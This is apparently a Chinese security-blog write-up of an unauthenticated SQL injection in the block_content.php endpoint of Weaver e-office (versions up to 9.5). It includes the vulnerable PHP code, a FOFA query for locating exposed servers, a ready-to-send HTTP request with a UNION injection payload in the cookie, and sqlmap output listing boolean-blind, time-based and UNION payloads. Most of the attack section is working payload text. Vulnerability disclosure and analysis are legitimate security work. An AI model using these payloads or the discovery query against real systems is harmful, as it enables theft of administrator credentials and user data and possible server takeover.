泛微e-office block_content.php sql注入漏洞


漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office block_content.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

general/new_mytable/block_content.php 业务逻辑如下

<?php

include_once( "inc/conn.php" );
$nothingdata = $_lang['index_no_data'];
$block_id = $_REQUEST['block_id'];
$query = "\r\n\t\tSELECT BLOCK_TYPE FROM `index_block` WHERE BLOCK_ID={$block_id}  \r\n\t\t";
$rc = exequery( $connection, $query );
$row = mysql_fetch_array( $rc );
$block_type = $row['BLOCK_TYPE'];
include_once( "general/new_mytable/content_list/content_".$block_type.".php" );
?>

$block_id 被直接拼接进SQL语句后执行,无任何过滤校验,造成SQL注入漏洞。

漏洞复现

GET /general/new_mytable/block_content.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Cookie: block_id=1 UNION ALL SELECT CONCAT(0x7162707a71,0x6572537871644b6d50686268596d52564d654b6175746d52476b5a716c65567a52416b787a556a42,0x716a767171)-- -

成功在响应回显测试payload

sqlmap 结果如下

sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: block_id=(SELECT (CASE WHEN (7092=7092) THEN 1 ELSE (SELECT 2050 UNION SELECT 8463) END))

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: block_id=1 AND 1181=BENCHMARK(4000000,MD5(0x76704871))

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: block_id=1 UNION ALL SELECT CONCAT(0x7162707a71,0x6572537871644b6d50686268596d52564d654b6175746d52476b5a716c65567a52416b787a556a42,0x716a767171)-- -
---

手机扫码阅读

泛微e-office word_update.php sql注入漏洞

泛微e-office content_-4.php sql注入漏洞

评 论